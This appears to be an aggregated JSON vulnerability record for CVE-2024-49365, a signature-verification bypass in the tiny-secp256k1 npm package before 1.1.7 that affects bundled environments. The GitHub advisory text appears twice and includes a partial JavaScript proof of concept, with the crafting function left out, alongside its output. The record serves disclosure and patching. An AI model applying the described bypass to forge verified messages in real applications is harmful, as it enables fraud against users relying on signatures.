{"id":"CVE-2024-49365","aliases":["EUVD-2024-54991","GHSA-5vhg-9xg4-cv9m"],"status":"published","title":"tiny-secp256k1 allows for verify() bypass when running in bundled environment","description":"tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.","severity":{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00247,"percentile":0.16147,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-347"],"published":"2025-06-30T17:44:14Z","modified":"2026-10-28T02:30:44Z","fixes":[{"ecosystem":"npm","package":"tiny-secp256k1","fixed_in":["1.1.7"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tiny-secp256k1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.6"},{"fixed":"1.1.7"}]}]},{"source":"osv","ecosystem":"npm","package":"tiny-secp256k1","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.7"}]}]}],"products":[{"vendor":"bitcoinjs","product":"tiny-secp256k1"}],"references":[{"url":"https://github.com/bitcoinjs/tiny-secp256k1/security/advisories/GHSA-5vhg-9xg4-cv9m","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/bitcoinjs/tiny-secp256k1/pull/140","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49365","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5vhg-9xg4-cv9m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/49xxx/CVE-2024-49365.json","tags":["advisory"]},{"url":"https://github.com/bitcoinjs/tiny-secp256k1","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-49365","title":"tiny-secp256k1 allows for verify() bypass when running in bundled environment","description":"tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.","status":"published","published":"2025-07-01T02:07:02.922Z","modified":"2025-07-01T13:18:55.447Z","cvss":[{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:33:56.402064Z"}],"euvd":[{"id":"EUVD-2024-54991","description":"tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.","status":"published","published":"2025-07-01T02:07:02Z","modified":"2025-07-01T13:18:55Z","cvss":[{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T20:32:14.813568Z"}],"ghsa":[{"id":"GHSA-5vhg-9xg4-cv9m","title":"tiny-secp256k1 allows for verify() bypass when running in bundled environment","description":"### Summary\n\nA malicious JSON-stringifyable message can be made passing on `verify()`, when global Buffer is [`buffer` package](https://www.npmjs.com/package/buffer)\n\n### Details\n\nThis affects only environments where `require('buffer')` is \u003chttps://npmjs.com/buffer\u003e\nE.g.: browser bundles, React Native apps, etc.\n\n`Buffer.isBuffer` check can be bypassed, resulting in strange objects being accepted as `message`, and those messages could trick `verify()` into returning false-positive `true` values\n\nv2.x is unaffected as it verifies input to be an actual `Uint8Array` instance\n\nSuch a message can be constructed for any already known message/signature pair\nThere are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example\n\nhttps://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this\n\n### PoC\n\nThis code deliberately doesn't provide `reencode` for now, could be updated later\n\n```js\nimport { randomBytes } from 'crypto'\nimport tiny from 'tiny-secp256k1' // 1.1.6\n\n// Random keypair\nconst privateKey = randomBytes(32)\nconst publicKey = tiny.pointFromScalar(privateKey)\n\nconst valid = Buffer.alloc(32).fill(255) // let's sign a static buffer\nconst signature = tiny.sign(valid, privateKey)\n\n// Prevent processing any unverified data by fail-closed throwing\nfunction verified(data, signature) {\n  if (!Buffer.isBuffer(data)) data = Buffer.from(data, 'hex')\n  if (!tiny.verify(data, publicKey, signature)) throw new Error('Signature invalid!')\n  return new Uint8Array(data)\n}\n\nfunction safeProcess(payload) {\n  const totally = JSON.parse(payload) // e.g. json over network\n\n  const message = verified(totally, signature)\n  console.log(message instanceof Uint8Array)\n  console.log(Buffer.from(message).toString('utf8'))  \n}\n\nconst payload = reencode(valid, \"Secure contain protect\")\nsafeProcess(payload)\n```\n\nOutput (after being bundled):\n```console\ntrue\nSecure contain protect����\n```\n\n### Impact\n\nMalicious messages could crafted to be verified from a given known valid message/signature pair","status":"published","published":"2025-06-30T17:44:14Z","modified":"2025-07-01T13:13:40Z","cvss":[{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:38:48.783737Z"}],"nvd":[{"id":"CVE-2024-49365","description":"tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.","status":"published","published":"2025-07-01T03:15:21.327Z","modified":"2026-06-17T07:59:46.403Z","cvss":[{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:10:47.073504Z"}],"osv":[{"id":"CVE-2024-49365","title":"tiny-secp256k1 allows for verify() bypass when running in bundled environment","description":"tiny-secp256k1 is a tiny secp256k1 native/JS wrapper. Prior to version 1.1.7, a malicious JSON-stringifyable message can be made passing on verify(), when global Buffer is the buffer package. This affects only environments where require('buffer') is the NPM buffer package. Buffer.isBuffer check can be bypassed, resulting in strange objects being accepted as a message, and those messages could trick verify() into returning false-positive true values. This issue has been patched in version 1.1.7.","status":"published","published":"2025-07-01T02:07:02.922Z","modified":"2026-10-28T02:30:44.39969897Z","cvss":[{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:44:43.597758Z"},{"id":"GHSA-5vhg-9xg4-cv9m","title":"tiny-secp256k1 allows for verify() bypass when running in bundled environment","description":"### Summary\n\nA malicious JSON-stringifyable message can be made passing on `verify()`, when global Buffer is [`buffer` package](https://www.npmjs.com/package/buffer)\n\n### Details\n\nThis affects only environments where `require('buffer')` is \u003chttps://npmjs.com/buffer\u003e\nE.g.: browser bundles, React Native apps, etc.\n\n`Buffer.isBuffer` check can be bypassed, resulting in strange objects being accepted as `message`, and those messages could trick `verify()` into returning false-positive `true` values\n\nv2.x is unaffected as it verifies input to be an actual `Uint8Array` instance\n\nSuch a message can be constructed for any already known message/signature pair\nThere are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example\n\nhttps://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this\n\n### PoC\n\nThis code deliberately doesn't provide `reencode` for now, could be updated later\n\n```js\nimport { randomBytes } from 'crypto'\nimport tiny from 'tiny-secp256k1' // 1.1.6\n\n// Random keypair\nconst privateKey = randomBytes(32)\nconst publicKey = tiny.pointFromScalar(privateKey)\n\nconst valid = Buffer.alloc(32).fill(255) // let's sign a static buffer\nconst signature = tiny.sign(valid, privateKey)\n\n// Prevent processing any unverified data by fail-closed throwing\nfunction verified(data, signature) {\n  if (!Buffer.isBuffer(data)) data = Buffer.from(data, 'hex')\n  if (!tiny.verify(data, publicKey, signature)) throw new Error('Signature invalid!')\n  return new Uint8Array(data)\n}\n\nfunction safeProcess(payload) {\n  const totally = JSON.parse(payload) // e.g. json over network\n\n  const message = verified(totally, signature)\n  console.log(message instanceof Uint8Array)\n  console.log(Buffer.from(message).toString('utf8'))  \n}\n\nconst payload = reencode(valid, \"Secure contain protect\")\nsafeProcess(payload)\n```\n\nOutput (after being bundled):\n```console\ntrue\nSecure contain protect����\n```\n\n### Impact\n\nMalicious messages could crafted to be verified from a given known valid message/signature pair","status":"published","published":"2025-06-30T17:44:14Z","modified":"2025-07-01T13:13:38Z","cvss":[{"version":"4.0","score":8.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:38.911014Z"}]}}
